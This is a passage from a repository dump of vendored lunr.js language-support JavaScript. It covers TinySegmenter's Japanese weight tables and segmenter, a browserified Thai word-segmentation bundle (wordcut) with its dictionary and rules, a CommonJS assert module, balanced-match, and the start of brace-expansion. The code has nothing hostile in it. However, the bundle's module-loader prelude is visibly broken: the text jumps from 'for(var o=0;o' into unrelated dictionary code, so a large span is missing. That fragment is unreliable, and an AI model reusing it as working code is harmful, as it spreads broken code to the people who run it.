241,"同":3906,"和":-837,"員":4513,"国":642,"型":1389,"場":1219,"外":-241,"妻":2016,"学":-1356,"安":-423,"実":-1008,"家":1078,"小":-513,"少":-3102,"州":1155,"市":3197,"平":-1804,"年":2416,"広":-1030,"府":1605,"度":1452,"建":-2352,"当":-3885,"得":1905,"思":-1291,"性":1822,"戸":-488,"指":-3973,"政":-2013,"教":-1479,"数":3222,"文":-1489,"新":1764,"日":2099,"旧":5792,"昨":-661,"時":-1248,"曜":-951,"最":-937,"月":4125,"期":360,"李":3094,"村":364,"東":-805,"核":5156,"森":2438,"業":484,"氏":2613,"民":-1694,"決":-1073,"法":1868,"海":-495,"無":979,"物":461,"特":-3850,"生":-273,"用":914,"町":1215,"的":7313,"直":-1835,"省":792,"県":6293,"知":-1528,"私":4231,"税":401,"立":-960,"第":1201,"米":7767,"系":3066,"約":3663,"級":1384,"統":-4229,"総":1163,"線":1255,"者":6457,"能":725,"自":-2869,"英":785,"見":1044,"調":-562,"財":-733,"費":1777,"車":1835,"軍":1375,"込":-1504,"通":-1136,"選":-681,"郎":1026,"郡":4404,"部":1200,"金":2163,"長":421,"開":-1432,"間":1302,"関":-1282,"雨":2009,"電":-1045,"非":2066,"駅":1620,"1":-800,"」":2670,"・":-3794,"ッ":-1350,"ア":551,"グ":1319,"ス":874,"ト":521,"ム":1109,"ル":1591,"ロ":2201,"ン":278}; this.UW4__ = {",":3930,".":3508,"―":-4841,"、":3930,"。":3508,"〇":4999,"「":1895,"」":3798,"〓":-5156,"あ":4752,"い":-3435,"う":-640,"え":-2514,"お":2405,"か":530,"が":6006,"き":-4482,"ぎ":-3821,"く":-3788,"け":-4376,"げ":-4734,"こ":2255,"ご":1979,"さ":2864,"し":-843,"じ":-2506,"す":-731,"ず":1251,"せ":181,"そ":4091,"た":5034,"だ":5408,"ち":-3654,"っ":-5882,"つ":-1659,"て":3994,"で":7410,"と":4547,"な":5433,"に":6499,"ぬ":1853,"ね":1413,"の":7396,"は":8578,"ば":1940,"ひ":4249,"び":-4134,"ふ":1345,"へ":6665,"べ":-744,"ほ":1464,"ま":1051,"み":-2082,"む":-882,"め":-5046,"も":4169,"ゃ":-2666,"や":2795,"ょ":-1544,"よ":3351,"ら":-2922,"り":-9726,"る":-14896,"れ":-2613,"ろ":-4570,"わ":-1783,"を":13150,"ん":-2352,"カ":2145,"コ":1789,"セ":1287,"ッ":-724,"ト":-403,"メ":-1635,"ラ":-881,"リ":-541,"ル":-856,"ン":-3637,"・":-4371,"ー":-11870,"一":-2069,"中":2210,"予":782,"事":-190,"井":-1768,"人":1036,"以":544,"会":950,"体":-1286,"作":530,"側":4292,"先":601,"党":-2006,"共":-1212,"内":584,"円":788,"初":1347,"前":1623,"副":3879,"力":-302,"動":-740,"務":-2715,"化":776,"区":4517,"協":1013,"参":1555,"合":-1834,"和":-681,"員":-910,"器":-851,"回":1500,"国":-619,"園":-1200,"地":866,"場":-1410,"塁":-2094,"士":-1413,"多":1067,"大":571,"子":-4802,"学":-1397,"定":-1057,"寺":-809,"小":1910,"屋":-1328,"山":-1500,"島":-2056,"川":-2667,"市":2771,"年":374,"庁":-4556,"後":456,"性":553,"感":916,"所":-1566,"支":856,"改":787,"政":2182,"教":704,"文":522,"方":-856,"日":1798,"時":1829,"最":845,"月":-9066,"木":-485,"来":-442,"校":-360,"業":-1043,"氏":5388,"民":-2716,"気":-910,"沢":-939,"済":-543,"物":-735,"率":672,"球":-1267,"生":-1286,"産":-1101,"田":-2900,"町":1826,"的":2586,"目":922,"省":-3485,"県":2997,"空":-867,"立":-2112,"第":788,"米":2937,"系":786,"約":2171,"経":1146,"統":-1169,"総":940,"線":-994,"署":749,"者":2145,"能":-730,"般":-852,"行":-792,"規":792,"警":-1184,"議":-244,"谷":-1000,"賞":730,"車":-1481,"軍":1158,"輪":-1433,"込":-3370,"近":929,"道":-1291,"選":2596,"郎":-4866,"都":1192,"野":-1100,"銀":-2213,"長":357,"間":-2344,"院":-2297,"際":-2604,"電":-878,"領":-1659,"題":-792,"館":-1984,"首":1749,"高":2120,"「":1895,"」":3798,"・":-4371,"ッ":-724,"ー":-11870,"カ":2145,"コ":1789,"セ":1287,"ト":-403,"メ":-1635,"ラ":-881,"リ":-541,"ル":-856,"ン":-3637}; this.UW5__ = {",":465,".":-299,"1":-514,"E2":-32768,"]":-2762,"、":465,"。":-299,"「":363,"あ":1655,"い":331,"う":-503,"え":1199,"お":527,"か":647,"が":-421,"き":1624,"ぎ":1971,"く":312,"げ":-983,"さ":-1537,"し":-1371,"す":-852,"だ":-1186,"ち":1093,"っ":52,"つ":921,"て":-18,"で":-850,"と":-127,"ど":1682,"な":-787,"に":-1224,"の":-635,"は":-578,"べ":1001,"み":502,"め":865,"ゃ":3350,"ょ":854,"り":-208,"る":429,"れ":504,"わ":419,"を":-1264,"ん":327,"イ":241,"ル":451,"ン":-343,"中":-871,"京":722,"会":-1153,"党":-654,"務":3519,"区":-901,"告":848,"員":2104,"大":-1296,"学":-548,"定":1785,"嵐":-1304,"市":-2991,"席":921,"年":1763,"思":872,"所":-814,"挙":1618,"新":-1682,"日":218,"月":-4353,"査":932,"格":1356,"機":-1508,"氏":-1347,"田":240,"町":-3912,"的":-3149,"相":1319,"省":-1052,"県":-4003,"研":-997,"社":-278,"空":-813,"統":1955,"者":-2233,"表":663,"語":-1073,"議":1219,"選":-1018,"郎":-368,"長":786,"間":1191,"題":2368,"館":-689,"1":-514,"E2":-32768,"「":363,"イ":241,"ル":451,"ン":-343}; this.UW6__ = {",":227,".":808,"1":-270,"E1":306,"、":227,"。":808,"あ":-307,"う":189,"か":241,"が":-73,"く":-121,"こ":-200,"じ":1782,"す":383,"た":-428,"っ":573,"て":-1014,"で":101,"と":-105,"な":-253,"に":-149,"の":-417,"は":-236,"も":-206,"り":187,"る":-135,"を":195,"ル":-673,"ン":-496,"一":-277,"中":201,"件":-800,"会":624,"前":302,"区":1792,"員":-1212,"委":798,"学":-960,"市":887,"広":-695,"後":535,"業":-697,"相":753,"社":-507,"福":974,"空":-822,"者":1811,"連":463,"郎":1082,"1":-270,"E1":306,"ル":-673,"ン":-496}; return this; } TinySegmenter.prototype.ctype_ = function(str) { for (var i in this.chartype_) { if (str.match(this.chartype_[i][0])) { return this.chartype_[i][1]; } } return "O"; } TinySegmenter.prototype.ts_ = function(v) { if (v) { return v; } return 0; } TinySegmenter.prototype.segment = function(input) { if (input == null || input == undefined || input == "") { return []; } var result = []; var seg = ["B3","B2","B1"]; var ctype = ["O","O","O"]; var o = input.split(""); for (i = 0; i < o.length; ++i) { seg.push(o[i]); ctype.push(this.ctype_(o[i])) } seg.push("E1"); seg.push("E2"); seg.push("E3"); ctype.push("O"); ctype.push("O"); ctype.push("O"); var word = seg[3]; var p1 = "U"; var p2 = "U"; var p3 = "U"; for (var i = 4; i < seg.length - 3; ++i) { var score = this.BIAS__; var w1 = seg[i-3]; var w2 = seg[i-2]; var w3 = seg[i-1]; var w4 = seg[i]; var w5 = seg[i+1]; var w6 = seg[i+2]; var c1 = ctype[i-3]; var c2 = ctype[i-2]; var c3 = ctype[i-1]; var c4 = ctype[i]; var c5 = ctype[i+1]; var c6 = ctype[i+2]; score += this.ts_(this.UP1__[p1]); score += this.ts_(this.UP2__[p2]); score += this.ts_(this.UP3__[p3]); score += this.ts_(this.BP1__[p1 + p2]); score += this.ts_(this.BP2__[p2 + p3]); score += this.ts_(this.UW1__[w1]); score += this.ts_(this.UW2__[w2]); score += this.ts_(this.UW3__[w3]); score += this.ts_(this.UW4__[w4]); score += this.ts_(this.UW5__[w5]); score += this.ts_(this.UW6__[w6]); score += this.ts_(this.BW1__[w2 + w3]); score += this.ts_(this.BW2__[w3 + w4]); score += this.ts_(this.BW3__[w4 + w5]); score += this.ts_(this.TW1__[w1 + w2 + w3]); score += this.ts_(this.TW2__[w2 + w3 + w4]); score += this.ts_(this.TW3__[w3 + w4 + w5]); score += this.ts_(this.TW4__[w4 + w5 + w6]); score += this.ts_(this.UC1__[c1]); score += this.ts_(this.UC2__[c2]); score += this.ts_(this.UC3__[c3]); score += this.ts_(this.UC4__[c4]); score += this.ts_(this.UC5__[c5]); score += this.ts_(this.UC6__[c6]); score += this.ts_(this.BC1__[c2 + c3]); score += this.ts_(this.BC2__[c3 + c4]); score += this.ts_(this.BC3__[c4 + c5]); score += this.ts_(this.TC1__[c1 + c2 + c3]); score += this.ts_(this.TC2__[c2 + c3 + c4]); score += this.ts_(this.TC3__[c3 + c4 + c5]); score += this.ts_(this.TC4__[c4 + c5 + c6]); // score += this.ts_(this.TC5__[c4 + c5 + c6]); score += this.ts_(this.UQ1__[p1 + c1]); score += this.ts_(this.UQ2__[p2 + c2]); score += this.ts_(this.UQ3__[p3 + c3]); score += this.ts_(this.BQ1__[p2 + c2 + c3]); score += this.ts_(this.BQ2__[p2 + c3 + c4]); score += this.ts_(this.BQ3__[p3 + c2 + c3]); score += this.ts_(this.BQ4__[p3 + c3 + c4]); score += this.ts_(this.TQ1__[p2 + c1 + c2 + c3]); score += this.ts_(this.TQ2__[p2 + c2 + c3 + c4]); score += this.ts_(this.TQ3__[p3 + c1 + c2 + c3]); score += this.ts_(this.TQ4__[p3 + c2 + c3 + c4]); var p = "O"; if (score > 0) { result.push(word); word = ""; p = "B"; } p1 = p2; p2 = p3; p3 = p; word += seg[i]; } result.push(word); return result; } lunr.TinySegmenter = TinySegmenter; }; })); ================================================ FILE: docs/assets/javascripts/lunr/wordcut.js ================================================ (function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}(g.lunr || (g.lunr = {})).wordcut = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o 1; }) this.addWords(words, false) } if(finalize){ this.finalizeDict(); } }, dictSeek: function (l, r, ch, strOffset, pos) { var ans = null; while (l <= r) { var m = Math.floor((l + r) / 2), dict_item = this.dict[m], len = dict_item.length; if (len <= strOffset) { l = m + 1; } else { var ch_ = dict_item[strOffset]; if (ch_ < ch) { l = m + 1; } else if (ch_ > ch) { r = m - 1; } else { ans = m; if (pos == LEFT) { r = m - 1; } else { l = m + 1; } } } } return ans; }, isFinal: function (acceptor) { return this.dict[acceptor.l].length == acceptor.strOffset; }, createAcceptor: function () { return { l: 0, r: this.dict.length - 1, strOffset: 0, isFinal: false, dict: this, transit: function (ch) { return this.dict.transit(this, ch); }, isError: false, tag: "DICT", w: 1, type: "DICT" }; }, transit: function (acceptor, ch) { var l = this.dictSeek(acceptor.l, acceptor.r, ch, acceptor.strOffset, LEFT); if (l !== null) { var r = this.dictSeek(l, acceptor.r, ch, acceptor.strOffset, RIGHT); acceptor.l = l; acceptor.r = r; acceptor.strOffset++; acceptor.isFinal = this.isFinal(acceptor); } else { acceptor.isError = true; } return acceptor; }, sortuniq: function(a){ return a.sort().filter(function(item, pos, arr){ return !pos || item != arr[pos - 1]; }) }, flatten: function(a){ //[[1,2],[3]] -> [1,2,3] return [].concat.apply([], a); } }; module.exports = WordcutDict; }).call(this,"/dist/tmp") },{"glob":16,"path":22}],3:[function(require,module,exports){ var WordRule = { createAcceptor: function(tag) { if (tag["WORD_RULE"]) return null; return {strOffset: 0, isFinal: false, transit: function(ch) { var lch = ch.toLowerCase(); if (lch >= "a" && lch <= "z") { this.isFinal = true; this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: "WORD_RULE", type: "WORD_RULE", w: 1}; } }; var NumberRule = { createAcceptor: function(tag) { if (tag["NUMBER_RULE"]) return null; return {strOffset: 0, isFinal: false, transit: function(ch) { if (ch >= "0" && ch <= "9") { this.isFinal = true; this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: "NUMBER_RULE", type: "NUMBER_RULE", w: 1}; } }; var SpaceRule = { tag: "SPACE_RULE", createAcceptor: function(tag) { if (tag["SPACE_RULE"]) return null; return {strOffset: 0, isFinal: false, transit: function(ch) { if (ch == " " || ch == "\t" || ch == "\r" || ch == "\n" || ch == "\u00A0" || ch=="\u2003"//nbsp and emsp ) { this.isFinal = true; this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: SpaceRule.tag, w: 1, type: "SPACE_RULE"}; } } var SingleSymbolRule = { tag: "SINSYM", createAcceptor: function(tag) { return {strOffset: 0, isFinal: false, transit: function(ch) { if (this.strOffset == 0 && ch.match(/^[\@\(\)\/\,\-\."`]$/)) { this.isFinal = true; this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: "SINSYM", w: 1, type: "SINSYM"}; } } var LatinRules = [WordRule, SpaceRule, SingleSymbolRule, NumberRule]; module.exports = LatinRules; },{}],4:[function(require,module,exports){ var _ = require("underscore") , WordcutCore = require("./wordcut_core"); var PathInfoBuilder = { /* buildByPartAcceptors: function(path, acceptors, i) { var var genInfos = partAcceptors.reduce(function(genInfos, acceptor) { }, []); return genInfos; } */ buildByAcceptors: function(path, finalAcceptors, i) { var self = this; var infos = finalAcceptors.map(function(acceptor) { var p = i - acceptor.strOffset + 1 , _info = path[p]; var info = {p: p, mw: _info.mw + (acceptor.mw === undefined ? 0 : acceptor.mw), w: acceptor.w + _info.w, unk: (acceptor.unk ? acceptor.unk : 0) + _info.unk, type: acceptor.type}; if (acceptor.type == "PART") { for(var j = p + 1; j <= i; j++) { path[j].merge = p; } info.merge = p; } return info; }); return infos.filter(function(info) { return info; }); }, fallback: function(path, leftBoundary, text, i) { var _info = path[leftBoundary]; if (text[i].match(/[\u0E48-\u0E4E]/)) { if (leftBoundary != 0) leftBoundary = path[leftBoundary].p; return {p: leftBoundary, mw: 0, w: 1 + _info.w, unk: 1 + _info.unk, type: "UNK"}; /* } else if(leftBoundary > 0 && path[leftBoundary].type !== "UNK") { leftBoundary = path[leftBoundary].p; return {p: leftBoundary, w: 1 + _info.w, unk: 1 + _info.unk, type: "UNK"}; */ } else { return {p: leftBoundary, mw: _info.mw, w: 1 + _info.w, unk: 1 + _info.unk, type: "UNK"}; } }, build: function(path, finalAcceptors, i, leftBoundary, text) { var basicPathInfos = this.buildByAcceptors(path, finalAcceptors, i); if (basicPathInfos.length > 0) { return basicPathInfos; } else { return [this.fallback(path, leftBoundary, text, i)]; } } }; module.exports = function() { return _.clone(PathInfoBuilder); } },{"./wordcut_core":8,"underscore":25}],5:[function(require,module,exports){ var _ = require("underscore"); var PathSelector = { selectPath: function(paths) { var path = paths.reduce(function(selectedPath, path) { if (selectedPath == null) { return path; } else { if (path.unk < selectedPath.unk) return path; if (path.unk == selectedPath.unk) { if (path.mw < selectedPath.mw) return path if (path.mw == selectedPath.mw) { if (path.w < selectedPath.w) return path; } } return selectedPath; } }, null); return path; }, createPath: function() { return [{p:null, w:0, unk:0, type: "INIT", mw:0}]; } }; module.exports = function() { return _.clone(PathSelector); }; },{"underscore":25}],6:[function(require,module,exports){ function isMatch(pat, offset, ch) { if (pat.length <= offset) return false; var _ch = pat[offset]; return _ch == ch || (_ch.match(/[กข]/) && ch.match(/[ก-ฮ]/)) || (_ch.match(/[มบ]/) && ch.match(/[ก-ฮ]/)) || (_ch.match(/\u0E49/) && ch.match(/[\u0E48-\u0E4B]/)); } var Rule0 = { pat: "เหก็ม", createAcceptor: function(tag) { return {strOffset: 0, isFinal: false, transit: function(ch) { if (isMatch(Rule0.pat, this.strOffset,ch)) { this.isFinal = (this.strOffset + 1 == Rule0.pat.length); this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: "THAI_RULE", type: "THAI_RULE", w: 1}; } }; var PartRule = { createAcceptor: function(tag) { return {strOffset: 0, patterns: [ "แก", "เก", "ก้", "กก์", "กา", "กี", "กิ", "กืก" ], isFinal: false, transit: function(ch) { var offset = this.strOffset; this.patterns = this.patterns.filter(function(pat) { return isMatch(pat, offset, ch); }); if (this.patterns.length > 0) { var len = 1 + offset; this.isFinal = this.patterns.some(function(pat) { return pat.length == len; }); this.strOffset++; } else { this.isError = true; } return this; }, isError: false, tag: "PART", type: "PART", unk: 1, w: 1}; } }; var ThaiRules = [Rule0, PartRule]; module.exports = ThaiRules; },{}],7:[function(require,module,exports){ var sys = require("sys") , WordcutDict = require("./dict") , WordcutCore = require("./wordcut_core") , PathInfoBuilder = require("./path_info_builder") , PathSelector = require("./path_selector") , Acceptors = require("./acceptors") , latinRules = require("./latin_rules") , thaiRules = require("./thai_rules") , _ = require("underscore"); var Wordcut = Object.create(WordcutCore); Wordcut.defaultPathInfoBuilder = PathInfoBuilder; Wordcut.defaultPathSelector = PathSelector; Wordcut.defaultAcceptors = Acceptors; Wordcut.defaultLatinRules = latinRules; Wordcut.defaultThaiRules = thaiRules; Wordcut.defaultDict = WordcutDict; Wordcut.initNoDict = function(dict_path) { var self = this; self.pathInfoBuilder = new self.defaultPathInfoBuilder; self.pathSelector = new self.defaultPathSelector; self.acceptors = new self.defaultAcceptors; self.defaultLatinRules.forEach(function(rule) { self.acceptors.creators.push(rule); }); self.defaultThaiRules.forEach(function(rule) { self.acceptors.creators.push(rule); }); }; Wordcut.init = function(dict_path, withDefault, additionalWords) { withDefault = withDefault || false; this.initNoDict(); var dict = _.clone(this.defaultDict); dict.init(dict_path, withDefault, additionalWords); this.acceptors.creators.push(dict); }; module.exports = Wordcut; },{"./acceptors":1,"./dict":2,"./latin_rules":3,"./path_info_builder":4,"./path_selector":5,"./thai_rules":6,"./wordcut_core":8,"sys":28,"underscore":25}],8:[function(require,module,exports){ var WordcutCore = { buildPath: function(text) { var self = this , path = self.pathSelector.createPath() , leftBoundary = 0; self.acceptors.reset(); for (var i = 0; i < text.length; i++) { var ch = text[i]; self.acceptors.transit(ch); var possiblePathInfos = self .pathInfoBuilder .build(path, self.acceptors.getFinalAcceptors(), i, leftBoundary, text); var selectedPath = self.pathSelector.selectPath(possiblePathInfos) path.push(selectedPath); if (selectedPath.type !== "UNK") { leftBoundary = i; } } return path; }, pathToRanges: function(path) { var e = path.length - 1 , ranges = []; while (e > 0) { var info = path[e] , s = info.p; if (info.merge !== undefined && ranges.length > 0) { var r = ranges[ranges.length - 1]; r.s = info.merge; s = r.s; } else { ranges.push({s:s, e:e}); } e = s; } return ranges.reverse(); }, rangesToText: function(text, ranges, delimiter) { return ranges.map(function(r) { return text.substring(r.s, r.e); }).join(delimiter); }, cut: function(text, delimiter) { var path = this.buildPath(text) , ranges = this.pathToRanges(path); return this .rangesToText(text, ranges, (delimiter === undefined ? "|" : delimiter)); }, cutIntoRanges: function(text, noText) { var path = this.buildPath(text) , ranges = this.pathToRanges(path); if (!noText) { ranges.forEach(function(r) { r.text = text.substring(r.s, r.e); }); } return ranges; }, cutIntoArray: function(text) { var path = this.buildPath(text) , ranges = this.pathToRanges(path); return ranges.map(function(r) { return text.substring(r.s, r.e) }); } }; module.exports = WordcutCore; },{}],9:[function(require,module,exports){ // http://wiki.commonjs.org/wiki/Unit_Testing/1.0 // // THIS IS NOT TESTED NOR LIKELY TO WORK OUTSIDE V8! // // Originally from narwhal.js (http://narwhaljs.org) // Copyright (c) 2009 Thomas Robinson <280north.com> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the 'Software'), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN // ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // when used in node, this will actually load the util module we depend on // versus loading the builtin util module as happens otherwise // this is a bug in node module loading as far as I am concerned var util = require('util/'); var pSlice = Array.prototype.slice; var hasOwn = Object.prototype.hasOwnProperty; // 1. The assert module provides functions that throw // AssertionError's when particular conditions are not met. The // assert module must conform to the following interface. var assert = module.exports = ok; // 2. The AssertionError is defined in assert. // new assert.AssertionError({ message: message, // actual: actual, // expected: expected }) assert.AssertionError = function AssertionError(options) { this.name = 'AssertionError'; this.actual = options.actual; this.expected = options.expected; this.operator = options.operator; if (options.message) { this.message = options.message; this.generatedMessage = false; } else { this.message = getMessage(this); this.generatedMessage = true; } var stackStartFunction = options.stackStartFunction || fail; if (Error.captureStackTrace) { Error.captureStackTrace(this, stackStartFunction); } else { // non v8 browsers so we can have a stacktrace var err = new Error(); if (err.stack) { var out = err.stack; // try to strip useless frames var fn_name = stackStartFunction.name; var idx = out.indexOf('\n' + fn_name); if (idx >= 0) { // once we have located the function frame // we need to strip out everything before it (and its line) var next_line = out.indexOf('\n', idx + 1); out = out.substring(next_line + 1); } this.stack = out; } } }; // assert.AssertionError instanceof Error util.inherits(assert.AssertionError, Error); function replacer(key, value) { if (util.isUndefined(value)) { return '' + value; } if (util.isNumber(value) && !isFinite(value)) { return value.toString(); } if (util.isFunction(value) || util.isRegExp(value)) { return value.toString(); } return value; } function truncate(s, n) { if (util.isString(s)) { return s.length < n ? s : s.slice(0, n); } else { return s; } } function getMessage(self) { return truncate(JSON.stringify(self.actual, replacer), 128) + ' ' + self.operator + ' ' + truncate(JSON.stringify(self.expected, replacer), 128); } // At present only the three keys mentioned above are used and // understood by the spec. Implementations or sub modules can pass // other keys to the AssertionError's constructor - they will be // ignored. // 3. All of the following functions must throw an AssertionError // when a corresponding condition is not met, with a message that // may be undefined if not provided. All assertion methods provide // both the actual and expected values to the assertion error for // display purposes. function fail(actual, expected, message, operator, stackStartFunction) { throw new assert.AssertionError({ message: message, actual: actual, expected: expected, operator: operator, stackStartFunction: stackStartFunction }); } // EXTENSION! allows for well behaved errors defined elsewhere. assert.fail = fail; // 4. Pure assertion tests whether a value is truthy, as determined // by !!guard. // assert.ok(guard, message_opt); // This statement is equivalent to assert.equal(true, !!guard, // message_opt);. To test strictly for the value true, use // assert.strictEqual(true, guard, message_opt);. function ok(value, message) { if (!value) fail(value, true, message, '==', assert.ok); } assert.ok = ok; // 5. The equality assertion tests shallow, coercive equality with // ==. // assert.equal(actual, expected, message_opt); assert.equal = function equal(actual, expected, message) { if (actual != expected) fail(actual, expected, message, '==', assert.equal); }; // 6. The non-equality assertion tests for whether two objects are not equal // with != assert.notEqual(actual, expected, message_opt); assert.notEqual = function notEqual(actual, expected, message) { if (actual == expected) { fail(actual, expected, message, '!=', assert.notEqual); } }; // 7. The equivalence assertion tests a deep equality relation. // assert.deepEqual(actual, expected, message_opt); assert.deepEqual = function deepEqual(actual, expected, message) { if (!_deepEqual(actual, expected)) { fail(actual, expected, message, 'deepEqual', assert.deepEqual); } }; function _deepEqual(actual, expected) { // 7.1. All identical values are equivalent, as determined by ===. if (actual === expected) { return true; } else if (util.isBuffer(actual) && util.isBuffer(expected)) { if (actual.length != expected.length) return false; for (var i = 0; i < actual.length; i++) { if (actual[i] !== expected[i]) return false; } return true; // 7.2. If the expected value is a Date object, the actual value is // equivalent if it is also a Date object that refers to the same time. } else if (util.isDate(actual) && util.isDate(expected)) { return actual.getTime() === expected.getTime(); // 7.3 If the expected value is a RegExp object, the actual value is // equivalent if it is also a RegExp object with the same source and // properties (`global`, `multiline`, `lastIndex`, `ignoreCase`). } else if (util.isRegExp(actual) && util.isRegExp(expected)) { return actual.source === expected.source && actual.global === expected.global && actual.multiline === expected.multiline && actual.lastIndex === expected.lastIndex && actual.ignoreCase === expected.ignoreCase; // 7.4. Other pairs that do not both pass typeof value == 'object', // equivalence is determined by ==. } else if (!util.isObject(actual) && !util.isObject(expected)) { return actual == expected; // 7.5 For all other Object pairs, including Array objects, equivalence is // determined by having the same number of owned properties (as verified // with Object.prototype.hasOwnProperty.call), the same set of keys // (although not necessarily the same order), equivalent values for every // corresponding key, and an identical 'prototype' property. Note: this // accounts for both named and indexed properties on Arrays. } else { return objEquiv(actual, expected); } } function isArguments(object) { return Object.prototype.toString.call(object) == '[object Arguments]'; } function objEquiv(a, b) { if (util.isNullOrUndefined(a) || util.isNullOrUndefined(b)) return false; // an identical 'prototype' property. if (a.prototype !== b.prototype) return false; // if one is a primitive, the other must be same if (util.isPrimitive(a) || util.isPrimitive(b)) { return a === b; } var aIsArgs = isArguments(a), bIsArgs = isArguments(b); if ((aIsArgs && !bIsArgs) || (!aIsArgs && bIsArgs)) return false; if (aIsArgs) { a = pSlice.call(a); b = pSlice.call(b); return _deepEqual(a, b); } var ka = objectKeys(a), kb = objectKeys(b), key, i; // having the same number of owned properties (keys incorporates // hasOwnProperty) if (ka.length != kb.length) return false; //the same set of keys (although not necessarily the same order), ka.sort(); kb.sort(); //~~~cheap key test for (i = ka.length - 1; i >= 0; i--) { if (ka[i] != kb[i]) return false; } //equivalent values for every corresponding key, and //~~~possibly expensive deep test for (i = ka.length - 1; i >= 0; i--) { key = ka[i]; if (!_deepEqual(a[key], b[key])) return false; } return true; } // 8. The non-equivalence assertion tests for any deep inequality. // assert.notDeepEqual(actual, expected, message_opt); assert.notDeepEqual = function notDeepEqual(actual, expected, message) { if (_deepEqual(actual, expected)) { fail(actual, expected, message, 'notDeepEqual', assert.notDeepEqual); } }; // 9. The strict equality assertion tests strict equality, as determined by ===. // assert.strictEqual(actual, expected, message_opt); assert.strictEqual = function strictEqual(actual, expected, message) { if (actual !== expected) { fail(actual, expected, message, '===', assert.strictEqual); } }; // 10. The strict non-equality assertion tests for strict inequality, as // determined by !==. assert.notStrictEqual(actual, expected, message_opt); assert.notStrictEqual = function notStrictEqual(actual, expected, message) { if (actual === expected) { fail(actual, expected, message, '!==', assert.notStrictEqual); } }; function expectedException(actual, expected) { if (!actual || !expected) { return false; } if (Object.prototype.toString.call(expected) == '[object RegExp]') { return expected.test(actual); } else if (actual instanceof expected) { return true; } else if (expected.call({}, actual) === true) { return true; } return false; } function _throws(shouldThrow, block, expected, message) { var actual; if (util.isString(expected)) { message = expected; expected = null; } try { block(); } catch (e) { actual = e; } message = (expected && expected.name ? ' (' + expected.name + ').' : '.') + (message ? ' ' + message : '.'); if (shouldThrow && !actual) { fail(actual, expected, 'Missing expected exception' + message); } if (!shouldThrow && expectedException(actual, expected)) { fail(actual, expected, 'Got unwanted exception' + message); } if ((shouldThrow && actual && expected && !expectedException(actual, expected)) || (!shouldThrow && actual)) { throw actual; } } // 11. Expected to throw an error: // assert.throws(block, Error_opt, message_opt); assert.throws = function(block, /*optional*/error, /*optional*/message) { _throws.apply(this, [true].concat(pSlice.call(arguments))); }; // EXTENSION! This is annoying to write outside this module. assert.doesNotThrow = function(block, /*optional*/message) { _throws.apply(this, [false].concat(pSlice.call(arguments))); }; assert.ifError = function(err) { if (err) {throw err;}}; var objectKeys = Object.keys || function (obj) { var keys = []; for (var key in obj) { if (hasOwn.call(obj, key)) keys.push(key); } return keys; }; },{"util/":28}],10:[function(require,module,exports){ 'use strict'; module.exports = balanced; function balanced(a, b, str) { if (a instanceof RegExp) a = maybeMatch(a, str); if (b instanceof RegExp) b = maybeMatch(b, str); var r = range(a, b, str); return r && { start: r[0], end: r[1], pre: str.slice(0, r[0]), body: str.slice(r[0] + a.length, r[1]), post: str.slice(r[1] + b.length) }; } function maybeMatch(reg, str) { var m = str.match(reg); return m ? m[0] : null; } balanced.range = range; function range(a, b, str) { var begs, beg, left, right, result; var ai = str.indexOf(a); var bi = str.indexOf(b, ai + 1); var i = ai; if (ai >= 0 && bi > 0) { begs = []; left = str.length; while (i >= 0 && !result) { if (i == ai) { begs.push(i); ai = str.indexOf(a, i + 1); } else if (begs.length == 1) { result = [ begs.pop(), bi ]; } else { beg = begs.pop(); if (beg < left) { left = beg; right = bi; } bi = str.indexOf(b, i + 1); } i = ai < bi && ai >= 0 ? ai : bi; } if (begs.length) { result = [ left, right ]; } } return result; } },{}],11:[function(require,module,exports){ var concatMap = require('concat-map'); var balanced = require('balanced-match'); module.exports = expandTop; var escSlash = '\0SLASH'+Math.random()+'\0'; var escOpen = '\0OPEN'+Math.random()+'\0'; var escClose = '\0CLOSE'+Math.random()+'\0'; var escComma = '\0COMMA'+Math.random()+'\0'; var escPeriod = '\0PERIOD'+Math.random()+'\0'; function numeric(str) { return parseInt(str, 10) == str ? parseInt(str, 10) : str.charCodeAt(0); } function escapeBraces(str) { return str.split('\\\\').join(escSlash) .split('\\{').join(escOpen) .split('\\}').join(escClose) .split('\\,').join(escComma) .split('\\.').join(escPeriod); } function unescapeBraces(str) { return str.split(escSlash).join('\\') .split(escOpen).join('{') .split(escClose).join('}') .split(escComma).join(',') .split(escPeriod).join('.'); } // Basically just str.split(","), but handling cases // where we have nested braced sections, which should be // treated as individual members, like {a,{b,c},d} function parseCommaParts(str) { if (!str) return ['']; var parts = []; var m = balanced('{', '}', str); if (!m) return str.split(','); var pre = m.pre; var body = m.body; var post = m.post; var p = pre.split(','); p[p.length-1] += '{' + body + '}'; var postParts = parseCommaParts(post); if (post.length) { p[p.length-1] += 